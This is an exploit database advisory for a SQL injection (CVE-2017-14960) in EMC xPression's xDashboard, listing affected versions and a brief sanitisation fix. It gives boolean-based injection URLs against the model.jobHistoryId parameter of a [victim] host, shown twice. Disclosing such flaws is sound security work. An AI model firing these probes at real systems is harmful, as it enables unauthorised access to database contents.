EMC xDashboard - SQL Injection Vulnerability

vendor:

xPression

by:

Pawel Gocyla

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: xPression

Affected Version From: EMC xPression v4.5SP1 Patch 13

Affected Version To: Probably other versions are also vulnerable.

Patch Exists: NO

Related CWE: CVE-2017-14960

CPE: EMC:xPression:4.5SP1:Patch_13

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

EMC xDashboard – SQL Injection Vulnerability

This vulnerability allows an attacker to retrieve information from the database. Vulnerable parameter: '$model.jobHistoryId'. Exploit: True Condition: https://[victim]:4000/xDashboard/html/jobhistory/jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133 and 1=1 False Condition: https://[victim]:4000/xDashboard/html/jobhistory/jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133 and 1=2

Mitigation:

User input which is putted into sql queries should be properly filtred or sanitized

Source

Exploit-DB raw data:

Title: EMC xDashboard - SQL Injection Vulnerability
Author: Pawel Gocyla
Date: 02 January 2018

CVE: CVE-2017-14960


Affected Software:
==================
EMC xPression v4.5SP1 Patch 13
Probably other versions are also vulnerable.


SQL Injection Vulnerability:
==============================
This vulnerability allows an attacker to retrieve information from the
database

Vulnerable parameter: "$model.jobHistoryId"

Exploit:

True Condition:  https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=1
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=2

Fix:
====
User input which is putted into sql queries should be properly filtred or
sanitized

References:
============
https://www.owasp.org/index.php/SQL_Injection

Contact:
========
pawellgocyla[at]gmail[dot]com